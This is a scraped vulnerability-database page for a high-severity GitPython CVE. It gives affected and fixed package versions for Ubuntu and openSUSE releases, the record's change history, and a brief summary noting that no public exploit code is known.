2.1.11-13.0.4-13.0.5-13.0.7-13.0.7-1ubuntu0.1~esm13.0.7-1ubuntu0.1~esm23.0.7-1ubuntu0.1~esm4
None known
python-git
Ubuntu:Pro:22.04:LTS
All versions, plus listed versions
3.1.14-13.1.23-13.1.24-13.1.24-1ubuntu0.1~esm13.1.24-1ubuntu0.1~esm23.1.24-1ubuntu0.1~esm3
None known
python-git
Ubuntu:Pro:24.04:LTS
All versions, plus listed versions
3.1.30-13.1.37-13.1.37-33.1.37-3ubuntu0.1~esm2
None known
python-git
Ubuntu:26.10
All versions, plus listed versions
3.1.46-13.1.50-13.1.61-1
None known
python-git
Ubuntu:Pro:26.04:LTS
All versions, plus listed versions
3.1.44-13.1.45-13.1.46-13.1.46-1ubuntu0.1~esm1
None known
python-GitPython
openSUSE:Tumbleweed
From an advisory covering 4 CVEs
before 3.1.58-1.1
3.1.58-1.1
python-GitPython
openSUSE:Leap 16.0
From an advisory covering 26 CVEs
before 3.1.44-160000.4.1
3.1.44-160000.4.1

History

History
RecordedChangedSources
affected, facts
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-67325 is a high vulnerability (CVSS 8.7) in Gitpython-developers Gitpython, published July 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.21%, the 82nd percentile. Fixed in gitpython 3.1.51.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 53 versions, 330 references and the rest of 5 source descriptions. The JSON record has them.

MoveEnter Open